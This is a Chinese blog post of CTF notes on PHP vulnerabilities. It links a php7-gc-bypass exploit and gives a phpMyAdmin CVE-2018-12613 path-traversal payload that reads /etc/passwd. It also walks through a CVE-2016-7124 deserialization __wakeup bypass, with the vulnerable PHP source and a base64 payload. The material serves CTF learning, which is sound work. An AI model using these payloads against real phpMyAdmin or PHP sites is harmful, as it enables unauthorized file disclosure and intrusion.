php漏洞整理

目录

1、php7-gc-bypass

2、phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

3、CVE-2016-7124漏洞反序列化


1、php7-gc-bypass

exp:https://github.com/devil8123665/exploits/blob/master/php7-gc-bypass/exploit.php

题目:[GKCTF2020]CheckIN

wp:https://blog.csdn.net/m0_46230316/article/details/106477417

2、phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

题目:[GWCTF 2019]我有一个数据库

wp:https://www.cnblogs.com/wangtanzhi/p/12284857.html     https://www.cnblogs.com/20175211lyz/p/12194801.html

影响版本:4.8.0——4.8.1
payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd

官方wp:/index.php?target=db_sql.php%253f/../../../../../../../../flag

3、CVE-2016-7124漏洞反序列化

https://xz.aliyun.com/t/3674

绕过__wakeup()方法

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString()
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  echo unserialize($file); 
}
 ?> #<!--key in flag.php-->

分析一下源码,__destruct方法中show_source(dirname (__FILE__).'/'.$this ->file);会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup会在unserialize之前执行,所以要绕过这一点。

这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

构造序列化对象:O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
绕过__wakeup:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

注意:因为file是protect属性,所以需要加上\00*\00。再base64编码。
payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值